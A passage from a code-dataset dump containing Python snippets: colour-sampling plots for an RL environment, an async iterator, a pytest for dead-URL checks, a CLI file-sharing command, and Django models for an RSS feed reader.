color_of_correct_obj = obs['obs'][12+3*correct:12+3*correct+3]\n not_correct = 1-env.correct_obj_idx\n color_of_not_correct_obj = obs['obs'][12+3*not_correct:12+3*not_correct+3]\n d.append(np.linalg.norm(goal_color_center - color_of_not_correct_obj))\n d_correct.append(np.linalg.norm(color_of_correct_obj - color_of_not_correct_obj))\n # as a sanity check these two prints should be almost equal\n print('%.4f +/- %.4f' % (np.mean(d), np.std(d)))\n print('%.4f +/- %.4f' % (np.mean(d_correct), np.std(d_correct)))\n\n print(np.min(d_correct))\n print(np.max(d_correct))\n\n # ugly, yes\n import matplotlib.pyplot as plt\n def plot_histogram(flat_array, num_bins, title, save_path):\n fig, ax = plt.subplots(1)\n ax.set_title(title)\n plt.hist(flat_array, bins=num_bins)\n plt.savefig(save_path, bbox_inches='tight')\n plt.close()\n plot_histogram(d_correct, 100, 'distance of goal specific color from distractor', 'd_correct.png')\n\n\n # print some sample colors\n goal_color_center = np.random.uniform(-1.0, 1.0, size=3)\n print(goal_color_center)\n print('\\n')\n for i in range(10):\n c = env._sample_color_within_radius(goal_color_center, env.same_color_radius)\n print(c)\n \n\n # visualize how far things are from each other\n from mpl_toolkits.mplot3d import Axes3D\n u = np.linspace(0, 2 * np.pi, 50)\n v = np.linspace(0, np.pi, 50)\n x = 1.0 * np.outer(np.cos(u), np.sin(v))\n y = 1.0 * np.outer(np.sin(u), np.sin(v))\n z = 1.0 * np.outer(np.ones(np.size(u)), np.cos(v))\n\n def _sample_color_within_radius(center, radius):\n x = np.random.normal(size=3)\n x /= np.linalg.norm(x, axis=-1)\n r = radius\n u = np.random.uniform()\n sampled_color = r * (u**(1.0/3.0)) * x + center\n return np.clip(sampled_color, -1.0, 1.0)\n \n def _sample_color_with_min_dist(color, min_dist):\n new_color = np.random.uniform(-1.0, 1.0, size=3)\n while np.linalg.norm(new_color - color, axis=-1) < min_dist:\n new_color = np.random.uniform(-1.0, 1.0, size=3)\n return new_color\n\n def plot_sphere(ax, center, radius, color, alpha):\n s_x = radius * x + center[0]\n s_y = radius * y + center[1]\n s_z = radius * z + center[2]\n # ax[0].plot(s_x, s_y, color=color)\n # ax[1].plot(s_x, s_z, color=color)\n # ax[2].plot(s_y, s_z, color=color)\n ax.plot_surface(s_x, s_y, s_z, rstride=4, cstride=4, color=color, linewidth=0, alpha=alpha)\n\n\n print('\\n')\n N = 3\n for i in range(20):\n fig = plt.figure(figsize=(20,20), dpi=60)\n ax = fig.add_subplot(111, projection='3d')\n # ax = []\n # for i in range(3):\n # cur_ax = fig.add_subplot(1, 3, i+1)\n # cur_ax.set_aspect('equal')\n # cur_ax.set_xlim(-1.0, 1.0)\n # cur_ax.set_ylim(-1.0, 1.0)\n # ax.append(cur_ax)\n\n ax.set_xlim(-1.0, 1.0)\n ax.set_ylim(-1.0, 1.0)\n ax.set_zlim(-1.0, 1.0)\n\n goal_color_center = np.random.uniform(-1.0, 1.0, size=3)\n plot_sphere(ax, goal_color_center, env.same_color_radius, 'b', 0.5)\n\n goal_colors = [_sample_color_within_radius(goal_color_center, env.same_color_radius) for _ in range(N)]\n for specific_color in goal_colors:\n print(np.linalg.norm(specific_color - goal_color_center, axis=-1))\n plot_sphere(ax, specific_color, env.same_color_radius, 'yellow', 0.5)\n \n for i in range(20):\n other_center = _sample_color_with_min_dist(goal_color_center, env.same_color_radius)\n # print(goal_color_center)\n # print(other_center)\n # print(np.linalg.norm(other_center - goal_color_center))\n print(np.linalg.norm(other_center - goal_color_center, axis=-1))\n plot_sphere(ax, other_center, env.same_color_radius, 'green', 0.5)\n # other_colors = [_sample_color_within_radius(other_center, env.same_color_radius) for _ in range(N)]\n # for other_specific_color in other_colors:\n # plot_sphere(ax, other_specific_color, env.same_color_radius, 'red', 0.5)\n\n plt.show()\n","sub_path":"rlkit/envs/few_shot_fetch_env.py","file_name":"few_shot_fetch_env.py","file_ext":"py","file_size_in_byte":44822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"551003794","text":"class Reader:\n async def readline(self): print('readline')\n def __aiter__(self): return self\n async def __anext__(self):\n val = await self.readline()\n if val == b'':\n raise StopAsyncIteration\n return val\n\nasync for a in Reader():\n print(a)\nelse:\n print('else')\n","sub_path":"24/03/0.py","file_name":"0.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"153346094","text":"import pandas as pd\nimport requests\nimport pytest\nimport os\nimport shutil\nimport json\nfrom datetime import datetime \nfrom data_mainetance.check_offline_urls import Check_Live_Urls\nfrom tests.mock_gcloud import mock_bigquery_client,mock_storage_client\n\n\n# This is a test that removes a function from a sql lite like database based on a url column that is offlinee\n# Mock database with an url\n# Create a SQL lite database\n# Populate with fake data\n# Create a function that maps the bad urls to requests\n\n# Mock database deletion\n@pytest.mark.test_mainetance\nclass TestClass:\n\n @pytest.fixture()\n def request_replacer(self, sample_folder, monkeypatch):\n def get_replacer_bigquery(url):\n response_mock = requests.Response()\n if url == 'http://test-fail-url.com':\n response_mock.status_code = 400\n elif url == 'http://test-sucess-url.com':\n response_mock.status_code = 200\n response_mock._content = open(\n sample_folder+'sample_pagination/pagination_page.html')\n elif url == 'http://test-500-url.com':\n response_mock.status_code = 200\n response_mock._content = open(sample_folder+'error_500.html')\n return response_mock\n\n monkeypatch.setattr(requests, 'get', get_replacer_bigquery)\n\n def test_live_urls(self, current_folder,request_replacer,sample_folder, mock_bigquery_client, mock_storage_client):\n # Reading mock data to use to assert\n df = pd.read_csv(sample_folder+'mock_rental_data.csv')\n df_size = len(df)\n error_page = df.loc[df['url'] ==\n 'http://test-500-url.com', 'url'].count()\n error_status_code = df.loc[df['url'] ==\n 'http://test-fail-url.com', 'url'].count()\n table_name = 'mock'\n dataset = 'test'\n # Instanciating class of removal\n validate_instance = Check_Live_Urls(table_name, dataset)\n all_urls = validate_instance.get_urls_bigquery(url_column='url')\n # Comparing the size of the urls and the dataframe mocked\n assert df_size == len(all_urls)\n\n # Asserting dead urls is correct\n all_urls = [val[0] for val in all_urls]\n dead_urls = validate_instance.check_not_working_urls(\n urls_list=all_urls)\n assert error_page + error_status_code == len(dead_urls)\n\n # Checking if storing data is working\n bucket_name = \"mock_buck\"\n validate_instance.store_data_gcs(dead_urls, bucket_name)\n file_path =\"%s/tmp/mock_buck/%s\" % (current_folder, str(datetime.now().date()).replace(' ','_'))\n assert os.path.exists(file_path)\n with open(file_path) as json_file:\n assert error_page + \\\n error_status_code == len(json.load(json_file)['delete'])\n shutil.rmtree(os.environ[\"TMP_FOLDER\"])\n","sub_path":"tests/test_data_data_mainetance.py","file_name":"test_data_data_mainetance.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"498024697","text":"import logging\nimport dropkick.share\n\nfrom cliff.command import Command\n\n\nclass ShareFiles(Command):\n \"\"\"Publishes an encrypted ZIP file.\"\"\"\n\n log = logging.getLogger(__name__)\n\n def get_parser(self, prog_name):\n parser = super(ShareFiles, self).get_parser(prog_name)\n parser.add_argument(\n 'share',\n help='The path to your directory to share.')\n parser.add_argument(\n '--keybase-user', required=True,\n help='The keybase username to share with.')\n parser.add_argument(\n '--bucket', required=True,\n help='The bucket to publish to.')\n return parser\n\n def take_action(self, parsed_args):\n dropkick.share.share(\n self.app.connection,\n parsed_args.share,\n parsed_args.bucket,\n parsed_args.keybase_user\n )\n","sub_path":"dropkick/cli/share.py","file_name":"share.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"459046191","text":"import gzip\n\nfrom django.utils import timezone\nfrom django.db import transaction, connection\nfrom cached_property import cached_property\nfrom validr import T\n\nfrom rssant_common.validator import FeedUnionId\nfrom rssant_common.detail import Detail\nfrom rssant_api.monthly_story_count import MonthlyStoryCount\nfrom rssant_api.helper import DuplicateFeedDetector\nfrom .errors import FeedExistError, FeedStoryOffsetError, FeedNotFoundError\nfrom .helper import Model, ContentHashMixin, models, optional, JSONField, User, extract_choices\n\n\nclass FeedStatus:\n \"\"\"\n 1. 用户输入URL,直接匹配到已有的Feed,status=ready\n 2. 用户输入URL,无匹配, status=pending\n 爬虫开始Finder, status=updating\n 找到内容,status=ready,没找到, status=error\n 3. 定时器扫描,Feed加入队列, status=pending\n 爬虫开始抓取, status=updating\n 更新内容, status=ready,更新失败 status=error\n 4. 当更新feed时发生重定向,且新URL对应的feed已存在,则将旧feed合并到新feed,旧feed标记为DISCARD\n \"\"\"\n PENDING = 'pending'\n UPDATING = 'updating'\n READY = 'ready'\n ERROR = 'error'\n DISCARD = 'discard'\n\n\nFEED_STATUS_CHOICES = extract_choices(FeedStatus)\n\n\nFeedDetailSchema = T.detail.fields(\"\"\"\n icon\n title\n author\n version\n link\n dryness\n freeze_level\n use_proxy\n dt_first_story_published\n dt_latest_story_published\n\"\"\").extra_fields(\"\"\"\n description\n warnings\n encoding\n etag\n last_modified\n content_length\n content_hash_base64\n response_status\n dt_checked\n dt_synced\n\"\"\").default(False)\n\nFEED_DETAIL_FIELDS = [\n f'feed__{x}' for x in Detail.from_schema(False, FeedDetailSchema).exclude_fields\n]\n\n\nclass Feed(Model, ContentHashMixin):\n \"\"\"订阅的最新数据\"\"\"\n class Meta:\n indexes = [\n models.Index(fields=[\"url\"]),\n models.Index(fields=[\"reverse_url\"]),\n ]\n\n class Admin:\n display_fields = ['status', 'title', 'url']\n\n # TODO: deprecate url, use reverse_url instead\n url = models.TextField(unique=True, help_text=\"供稿地址\")\n # TODO: make reverse_url unique and not null\n reverse_url = models.TextField(**optional, help_text=\"倒转URL\")\n status = models.CharField(\n max_length=20, choices=FEED_STATUS_CHOICES, default=FeedStatus.PENDING, help_text='状态')\n # RSS解析内容\n title = models.CharField(max_length=200, **optional, help_text=\"标题\")\n link = models.TextField(**optional, help_text=\"网站链接\")\n author = models.CharField(max_length=200, **optional, help_text=\"作者\")\n icon = models.TextField(**optional, help_text=\"网站Logo或图标\")\n description = models.TextField(**optional, help_text=\"描述或小标题\")\n version = models.CharField(max_length=200, **optional, help_text=\"供稿格式/RSS/Atom\")\n dt_updated = models.DateTimeField(help_text=\"更新时间\")\n # RSS抓取相关的状态\n dt_created = models.DateTimeField(auto_now_add=True, help_text=\"创建时间\")\n dt_checked = models.DateTimeField(**optional, help_text=\"最近一次检查同步时间\")\n dt_synced = models.DateTimeField(**optional, help_text=\"最近一次同步时间\")\n encoding = models.CharField(max_length=200, **optional, help_text=\"编码\")\n etag = models.CharField(\n max_length=200, **optional, help_text=\"HTTP response header ETag\")\n last_modified = models.CharField(\n max_length=200, **optional, help_text=\"HTTP response header Last-Modified\")\n content_length = models.IntegerField(\n **optional, help_text='length of content')\n response_status = models.IntegerField(\n **optional, help_text='response status code')\n # 其他\n monthly_story_count_data = models.BinaryField(\n **optional, max_length=514, help_text=\"monthly story count data\")\n dryness = models.IntegerField(\n **optional, default=0, help_text=\"Dryness of the feed\")\n dt_first_story_published = models.DateTimeField(\n **optional, help_text=\"最老的story发布时间\")\n total_storys = models.IntegerField(\n **optional, default=0, help_text=\"Number of total storys\")\n retention_offset = models.IntegerField(\n **optional, default=0, help_text=\"stale story == offset < retention_offset\")\n freeze_level = models.IntegerField(\n **optional, default=1, help_text=\"freeze level, 1: normal, N: slow down N times\")\n use_proxy = models.BooleanField(\n **optional, default=False, help_text=\"use proxy or not\")\n checksum_data = models.BinaryField(\n **optional, max_length=4096, help_text=\"feed checksum data\")\n warnings = models.TextField(\n **optional, help_text=\"warning messages when processing the feed\")\n # Deprecated since v0.3.1\n story_publish_period = models.IntegerField(\n **optional, default=30, help_text=\"story发布周期(天),按18个月时间窗口计算\")\n # Deprecated since v0.3.1\n offset_early_story = models.IntegerField(\n **optional, help_text=\"最老或18个月前发布的story的offset\")\n # Deprecated since v0.3.1\n dt_early_story_published = models.DateTimeField(\n **optional, help_text=\"最老或18个月前发布的story的发布时间\")\n dt_latest_story_published = models.DateTimeField(\n **optional, help_text=\"最新的story发布时间\")\n\n def merge(self, other: \"Feed\"):\n \"\"\"\n Merge other feed to self by change other's userfeeds' feed_id to self id.\n User stotys are ignored / not handled.\n \"\"\"\n user_feeds = UserFeed.objects.only('id', 'user_id', 'feed_id', 'story_offset')\\\n .filter(feed_id__in=(self.id, other.id)).all()\n self_user_ids = set()\n other_user_feeds = []\n for user_feed in user_feeds:\n if user_feed.feed_id == self.id:\n self_user_ids.add(user_feed.user_id)\n else:\n other_user_feeds.append(user_feed)\n updates = []\n for user_feed in other_user_feeds:\n user_feed: UserFeed\n if user_feed.user_id not in self_user_ids:\n user_feed.feed_id = self.id\n if user_feed.story_offset > self.total_storys:\n user_feed.story_offset = self.total_storys\n updates.append(user_feed)\n UserFeed.objects.bulk_update(updates, ['feed_id', 'story_offset'])\n other.status = FeedStatus.DISCARD\n other.save()\n\n def to_dict(self, detail=False):\n ret = dict(\n status=self.status,\n url=self.url,\n title=self.title,\n link=self.link,\n author=self.author,\n icon=self.icon,\n version=self.version,\n total_storys=self.total_storys,\n dt_updated=self.dt_updated,\n dt_created=self.dt_created,\n dt_first_story_published=self.dt_first_story_published,\n dt_latest_story_published=self.dt_latest_story_published,\n )\n if detail:\n ret.update(\n dryness=self.dryness,\n freeze_level=self.freeze_level,\n use_proxy=self.use_proxy,\n description=self.description,\n encoding=self.encoding,\n etag=self.etag,\n last_modified=self.last_modified,\n content_length=self.content_length,\n content_hash_base64=self.content_hash_base64,\n dt_checked=self.dt_checked,\n dt_synced=self.dt_synced,\n )\n return ret\n\n @property\n def monthly_story_count(self):\n return MonthlyStoryCount.load(self.monthly_story_count_data)\n\n @monthly_story_count.setter\n def monthly_story_count(self, value: MonthlyStoryCount):\n if value is None:\n self.monthly_story_count_data = None\n self.dryness = None\n else:\n self.monthly_story_count_data = value.dump()\n self.dryness = value.dryness()\n\n @staticmethod\n def get_by_pk(feed_id) -> 'Feed':\n return Feed.objects.get(pk=feed_id)\n\n @staticmethod\n def get_first_by_url(url) -> 'Feed':\n return Feed.objects.filter(url=url).first()\n\n @staticmethod\n def take_outdated(outdate_seconds=300, timeout_seconds=None, limit=100):\n feeds = Feed.take_outdated_feeds(\n outdate_seconds=outdate_seconds, timeout_seconds=timeout_seconds, limit=limit)\n return [x['feed_id'] for x in feeds]\n\n @staticmethod\n def take_outdated_feeds(outdate_seconds=300, timeout_seconds=None, limit=100):\n \"\"\"\n outdate_seconds: 正常检查时间间隔\n timeout_seconds: 异常检查时间间隔\n \"\"\"\n if not timeout_seconds:\n timeout_seconds = 3 * outdate_seconds\n statuses = [FeedStatus.READY, FeedStatus.ERROR]\n sql_check = f\"\"\"\n SELECT id, url, etag, last_modified, use_proxy, checksum_data\n FROM rssant_api_feed AS feed\n WHERE\n (status != '{FeedStatus.DISCARD}') AND (\n (\n dt_checked IS NULL\n )\n OR\n (\n (freeze_level IS NULL OR freeze_level < 1) AND (\n (status=ANY(%s) AND NOW() - dt_checked > %s * '1s'::interval)\n OR\n (NOW() - dt_checked > %s * '1s'::interval)\n )\n )\n OR\n (\n (status=ANY(%s) AND NOW() - dt_checked > %s * freeze_level * '1s'::interval)\n OR\n (NOW() - dt_checked > %s * freeze_level * '1s'::interval)\n ))\n ORDER BY id LIMIT %s\n \"\"\"\n sql_update_status = \"\"\"\n UPDATE rssant_api_feed\n SET status=%s, dt_checked=%s\n WHERE id=ANY(%s)\n \"\"\"\n params = [\n statuses, outdate_seconds, timeout_seconds,\n statuses, outdate_seconds, timeout_seconds, limit\n ]\n feeds = []\n now = timezone.now()\n columns = ['feed_id', 'url', 'etag', 'last_modified', 'use_proxy', 'checksum_data']\n with connection.cursor() as cursor:\n cursor.execute(sql_check, params)\n for row in cursor.fetchall():\n feeds.append(dict(zip(columns, row)))\n feed_ids = [x['feed_id'] for x in feeds]\n cursor.execute(sql_update_status, [FeedStatus.PENDING, now, feed_ids])\n return feeds\n\n @classmethod\n def _query_feeds_by_reverse_url(cls, begin=None, limit=1000) -> list:\n if begin:\n where = 'AND reverse_url >= %s'\n params = [begin, limit]\n else:\n where = ''\n params = [limit]\n sql = f\"\"\"\n SELECT id, reverse_url FROM rssant_api_feed\n WHERE status != '{FeedStatus.DISCARD}' AND\n reverse_url IS NOT NULL AND reverse_url != '' {where}\n ORDER BY reverse_url LIMIT %s\n \"\"\"\n with connection.cursor() as cursor:\n cursor.execute(sql, params)\n feeds = list(cursor.fetchall())\n return feeds\n\n @classmethod\n def find_duplicate_feeds(cls, checkpoint=None, limit=5000):\n \"\"\"\n find duplicate feeds\n\n Returns: (duplicates, checkpoint)\n duplicates:\n (primary_feed_id, duplicate_feed_id ...)\n (primary_feed_id, duplicate_feed_id ...)\n ...\n \"\"\"\n detector = DuplicateFeedDetector()\n feeds = cls._query_feeds_by_reverse_url(begin=checkpoint, limit=limit)\n for feed_id, rev_url in feeds:\n detector.push(feed_id, rev_url)\n if len(feeds) < limit:\n detector.flush()\n next_checkpoint = detector.checkpoint\n # force flush when single host has too many feeds\n if checkpoint is not None and checkpoint == next_checkpoint:\n detector.flush()\n next_checkpoint = rev_url\n got = detector.poll()\n return got, next_checkpoint\n\n @staticmethod\n def take_retention_feeds(retention=5000, limit=5):\n sql_check = \"\"\"\n SELECT id, url FROM rssant_api_feed\n WHERE total_storys - retention_offset > %s\n ORDER BY RANDOM() LIMIT %s\n \"\"\"\n params = [retention, limit]\n with connection.cursor() as cursor:\n cursor.execute(sql_check, params)\n feeds = []\n for feed_id, url in cursor.fetchall():\n feeds.append(dict(feed_id=feed_id, url=url))\n return feeds\n\n def unfreeze(self):\n self.freeze_level = 1\n self.save()\n\n @staticmethod\n def refresh_freeze_level():\n \"\"\"\n 冻结策略:\n 1. 无人订阅,冻结1个月。有人订阅时解冻。\n 2. 创建时间>=7天,且2年无更新,冻结1个月。有更新时解冻。\n 3. 创建时间>=7天,且没有任何内容,冻结7天。有更新时解冻。\n 4. 其余订阅参照冻结时间表格。\n 统计数据:\n - 90%的订阅小于300KB\n - 99%的订阅小于1500KB\n - 资讯新闻(dryness<500)占40%\n - 周更博客(500750)占30%\n +------------+----------+------------+----------+\n | 冻结时间 | 300k以下 | 300k~1500k | 1500k以上 |\n +------------+----------+------------+----------+\n | 资讯新闻 | 1H | 1H | 3H |\n | 周更博客 | 1H | 2H | 9H |\n | 月更博客 | 4H | 8H | 9H |\n +------------+----------+------------+----------+\n \"\"\"\n # https://stackoverflow.com/questions/7869592/how-to-do-an-update-join-in-postgresql\n sql = f\"\"\"\n WITH t AS (\n SELECT\n feed.id AS id,\n CASE\n WHEN (\n userfeed.id is NULL\n ) THEN 31 * 24\n WHEN (\n (feed.dt_created <= NOW() - INTERVAL '7 days')\n and (feed.dt_latest_story_published <= NOW() - INTERVAL '2 years')\n ) THEN 30 * 24\n WHEN (\n (feed.dt_created <= NOW() - INTERVAL '7 days')\n and (feed.dt_latest_story_published is NULL and total_storys <= 0)\n ) THEN 7 * 24\n WHEN (\n feed.content_length >= 1500 * 1024 AND feed.dryness >= 500\n ) THEN 9\n WHEN (\n feed.content_length >= 1500 * 1024\n ) THEN 3\n WHEN (\n feed.dryness >= 750 AND feed.content_length >= 300 * 1024\n ) THEN 8\n WHEN (\n feed.dryness >= 750\n ) THEN 4\n WHEN (\n feed.dryness >= 500 AND feed.content_length >= 300 * 1024\n ) THEN 2\n ELSE 1\n END AS freeze_level\n FROM rssant_api_feed AS feed\n LEFT OUTER JOIN rssant_api_userfeed AS userfeed\n ON feed.id = userfeed.feed_id\n WHERE feed.status != '{FeedStatus.DISCARD}'\n )\n UPDATE rssant_api_feed AS feed\n SET freeze_level = t.freeze_level\n FROM t\n WHERE feed.id = t.id\n ;\n \"\"\"\n with connection.cursor() as cursor:\n cursor.execute(sql)\n\n\nclass RawFeed(Model, ContentHashMixin):\n \"\"\"订阅的原始数据\"\"\"\n\n class Meta:\n indexes = [\n models.Index(fields=[\"feed\", 'status_code', \"dt_created\"]),\n models.Index(fields=[\"url\", 'status_code', \"dt_created\"]),\n ]\n\n class Admin:\n display_fields = ['feed_id', 'status_code', 'url']\n\n feed = models.ForeignKey(Feed, on_delete=models.CASCADE)\n url = models.TextField(help_text=\"供稿地址\")\n encoding = models.CharField(max_length=200, **optional, help_text=\"编码\")\n status_code = models.IntegerField(**optional, help_text='HTTP状态码')\n etag = models.CharField(\n max_length=200, **optional, help_text=\"HTTP response header ETag\")\n last_modified = models.CharField(\n max_length=200, **optional, help_text=\"HTTP response header Last-Modified\")\n headers = JSONField(\n **optional, help_text='HTTP response headers, JSON object')\n is_gzipped = models.BooleanField(\n **optional, default=False, help_text=\"is content gzip compressed\")\n content = models.BinaryField(**optional)\n content_length = models.IntegerField(\n **optional, help_text='length of content')\n dt_created = models.DateTimeField(auto_now_add=True, help_text=\"创建时间\")\n\n def set_content(self, content):\n if content and len(content) >= 1024:\n self.content = gzip.compress(content, compresslevel=9)\n self.is_gzipped = True\n else:\n self.content = content\n self.is_gzipped = False\n\n def get_content(self, decompress=None):\n if decompress is None:\n decompress = self.is_gzipped\n content = self.content\n if content and decompress:\n content = gzip.decompress(content)\n return content\n\n\nclass UserFeed(Model):\n \"\"\"用户的订阅状态\"\"\"\n class Meta:\n unique_together = ('user', 'feed')\n indexes = [\n models.Index(fields=['user', 'feed']),\n ]\n\n class Admin:\n display_fields = ['user_id', 'feed_id', 'status', 'url']\n\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n feed = models.ForeignKey(Feed, on_delete=models.CASCADE, **optional)\n title = models.CharField(max_length=200, **optional, help_text=\"用户设置的标题\")\n story_offset = models.IntegerField(**optional, default=0, help_text=\"story offset\")\n is_from_bookmark = models.BooleanField(**optional, default=False, help_text='是否从书签导入')\n dt_created = models.DateTimeField(auto_now_add=True, help_text=\"创建时间\")\n dt_updated = models.DateTimeField(**optional, help_text=\"更新时间\")\n\n @property\n def status(self):\n return self.feed.status\n\n @property\n def url(self):\n return self.feed.url\n\n @staticmethod\n def get_by_pk(pk, user_id=None, detail=False):\n q = UserFeed.objects.select_related('feed')\n if not detail:\n q = q.defer(*FEED_DETAIL_FIELDS)\n if user_id is not None:\n q = q.filter(user_id=user_id)\n user_feed = q.get(pk=pk)\n return user_feed\n\n\nFEED_CREATION_DETAIL_FIELDS = ['message']\n\n\nclass FeedCreation(Model):\n \"\"\"订阅创建信息\"\"\"\n\n class Meta:\n indexes = [\n models.Index(fields=['user', 'dt_created']),\n ]\n\n class Admin:\n display_fields = ['user_id', 'feed_id', 'status', 'url', 'is_from_bookmark', 'dt_created']\n\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n feed = models.ForeignKey(Feed, **optional, on_delete=models.CASCADE)\n url = models.TextField(help_text=\"用户输入的供稿地址\")\n is_from_bookmark = models.BooleanField(**optional, default=False, help_text='是否从书签导入')\n status = models.CharField(\n max_length=20, choices=FEED_STATUS_CHOICES, default=FeedStatus.PENDING, help_text='状态')\n message = models.TextField(help_text=\"查找订阅的日志信息\")\n dt_created = models.DateTimeField(auto_now_add=True, help_text=\"创建时间\")\n dt_updated = models.DateTimeField(**optional, help_text=\"更新时间\")\n\n @property\n def is_ready(self):\n return bool(self.feed_id and self.status and self.status == FeedStatus.READY)\n\n def to_dict(self, detail=False):\n ret = dict(\n id=self.id,\n user=dict(id=self.user_id),\n is_ready=self.is_ready,\n url=self.url,\n is_from_bookmark=self.is_from_bookmark,\n status=self.status,\n dt_created=self.dt_created,\n dt_updated=self.dt_updated,\n feed_unionid=None,\n )\n if self.feed_id:\n feed_unionid = FeedUnionId(self.user_id, self.feed_id)\n ret.update(feed_id=feed_unionid)\n if detail:\n ret.update(message=self.message)\n return ret\n\n @staticmethod\n def get_by_pk(pk, user_id=None, detail=False):\n q = FeedCreation.objects\n if user_id is not None:\n q = q.filter(user_id=user_id)\n if not detail:\n q = q.defer(*FEED_CREATION_DETAIL_FIELDS)\n return q.get(pk=pk)\n\n @staticmethod\n def query_by_user(user_id, limit=100, detail=False):\n q = FeedCreation.objects.filter(user_id=user_id)\n if not detail:\n q = q.defer(*FEED_CREATION_DETAIL_FIELDS)\n q = q.order_by('-dt_created')\n if limit:\n q = q[:limit]\n return list(q.all())\n\n @staticmethod\n def bulk_set_pending(feed_creation_ids):\n q = FeedCreation.objects.filter(id__in=feed_creation_ids)\n return q.update(status=FeedStatus.PENDING, dt_updated=timezone.now())\n\n @staticmethod\n def delete_by_status(status=None, survival_seconds=None):\n q = FeedCreation.objects\n if status:\n q = q.filter(status=status)\n if survival_seconds:\n deadline = timezone.now() - timezone.timedelta(seconds=survival_seconds)\n q = q.filter(dt_created__lt=deadline)\n num_deleted, __ = q.delete()\n return num_deleted\n\n @classmethod\n def query_ids_by_status(cls, status, survival_seconds=None):\n id_urls = cls.query_id_urls_by_status(status, survival_seconds=survival_seconds)\n return [id for (id, url) in id_urls]\n\n @classmethod\n def query_id_urls_by_status(cls, status, survival_seconds=None):\n q = FeedCreation.objects.filter(status=status)\n if survival_seconds:\n deadline = timezone.now() - timezone.timedelta(seconds=survival_seconds)\n q = q.filter(dt_created__lt=deadline)\n id_urls = [(x.id, x.url) for x in q.only('id', 'url').all()]\n return id_urls\n\n\nclass FeedUrlMap(Model):\n \"\"\"起始 URL 到 Feed URL 直接关联,用于加速FeedFinder\"\"\"\n\n NOT_FOUND = '#' # 特殊Target\n NOT_FOUND_TTL = timezone.timedelta(hours=4)\n # TODO: retention of OK url maps\n OK_TTL = timezone.timedelta(days=100 * 365)\n\n class Meta:\n indexes = [\n models.Index(fields=[\"source\", \"dt_created\"]),\n ]\n\n class Admin:\n display_fields = ['source', 'target', 'dt_created']\n\n source = models.TextField(help_text=\"起始地址\")\n target = models.TextField(help_text=\"供稿地址\")\n dt_created = models.DateTimeField(auto_now_add=True, help_text=\"创建时间\")\n\n @classmethod\n def find_target(cls, source):\n url_map = cls.find_all_target([source])\n return url_map.get(source)\n\n @classmethod\n def find_all_target(cls, source_list):\n sql = \"\"\"\n SELECT DISTINCT ON (source)\n id, source, target\n FROM rssant_api_feedurlmap\n WHERE source=ANY(%s) AND (target!=%s OR dt_created>%s)\n ORDER BY source, dt_created DESC\n \"\"\"\n dt_ttl = timezone.now() - cls.NOT_FOUND_TTL\n params = [list(source_list), cls.NOT_FOUND, dt_ttl]\n url_map = {}\n items = cls.objects.raw(sql, params)\n for item in items:\n url_map[item.source] = item.target\n return url_map\n\n @classmethod\n def delete_by_retention(cls, limit=5000):\n sql = \"\"\"\n DELETE FROM rssant_api_feedurlmap\n WHERE ctid IN (\n SELECT ctid FROM rssant_api_feedurlmap\n WHERE (target=%s AND dt_created<%s) OR (dt_created<%s)\n LIMIT %s\n )\n \"\"\"\n now = timezone.now()\n dt_not_found_ttl = now - cls.NOT_FOUND_TTL\n dt_ok_ttl = now - cls.OK_TTL\n params = [cls.NOT_FOUND, dt_not_found_ttl, dt_ok_ttl, limit]\n with connection.cursor() as cursor:\n cursor.execute(sql, params)\n return cursor.rowcount\n\n\nclass FeedCreateResult:\n def __init__(self, *, created_feeds, existed_feeds, feed_creations):\n self.created_feeds = created_feeds\n self.existed_feeds = existed_feeds\n self.feed_creations = feed_creations\n\n @classmethod\n def empty(cls):\n return cls(created_feeds=[], existed_feeds=[], feed_creations=[])\n\n @property\n def total(self):\n return self.num_created_feeds + self.num_existed_feeds + self.num_feed_creations\n\n @property\n def num_created_feeds(self):\n return len(self.created_feeds)\n\n @property\n def num_existed_feeds(self):\n return len(self.existed_feeds)\n\n @property\n def num_feed_creations(self):\n return len(self.feed_creations)\n\n\nclass UnionFeed:\n def __init__(self, feed, user_feed, detail=False):\n self._feed = feed\n self._user_feed = user_feed\n self._detail = detail\n\n @cached_property\n def id(self):\n return FeedUnionId(self._user_feed.user_id, self._feed.id)\n\n @property\n def user_id(self):\n return self._user_feed.user_id\n\n @property\n def status(self):\n return self._feed.status\n\n @property\n def is_ready(self):\n return bool(self.status and self.status == FeedStatus.READY)\n\n @property\n def url(self):\n return self._feed.url\n\n @property\n def title(self):\n if self._user_feed.title:\n return self._user_feed.title\n return self._feed.title\n\n @property\n def link(self):\n return self._feed.link\n\n @property\n def author(self):\n return self._feed.author\n\n @property\n def icon(self):\n return self._feed.icon\n\n @property\n def version(self):\n return self._feed.version\n\n @property\n def total_storys(self):\n return self._feed.total_storys\n\n @property\n def story_offset(self):\n return self._user_feed.story_offset\n\n @property\n def num_unread_storys(self):\n return self._feed.total_storys - self._user_feed.story_offset\n\n @staticmethod\n def _union_dt_updated(dt_1, dt_2):\n if dt_1 and dt_2:\n return max(dt_1, dt_2)\n else:\n return dt_1 or dt_2\n\n @property\n def dt_updated(self):\n return self._union_dt_updated(\n self._user_feed.dt_updated, self._feed.dt_updated)\n\n @property\n def dt_created(self):\n if self._user_feed.dt_created:\n return self._user_feed.dt_created\n return self._feed.dt_created\n\n @property\n def dryness(self):\n return self._feed.dryness\n\n @property\n def freeze_level(self):\n return self._feed.freeze_level\n\n @property\n def use_proxy(self):\n return self._feed.use_proxy\n\n @property\n def dt_first_story_published(self):\n return self._feed.dt_first_story_published\n\n @property\n def dt_latest_story_published(self):\n return self._feed.dt_latest_story_published\n\n @property\n def description(self):\n return self._feed.description\n\n @property\n def warnings(self) -> str:\n return self._feed.warnings\n\n @property\n def encoding(self):\n return self._feed.encoding\n\n @property\n def etag(self):\n return self._feed.etag\n\n @property\n def last_modified(self):\n return self._feed.last_modified\n\n @property\n def response_status(self):\n return self._feed.response_status\n\n @property\n def content_length(self):\n return self._feed.content_length\n\n @property\n def content_hash_base64(self):\n return self._feed.content_hash_base64\n\n @property\n def 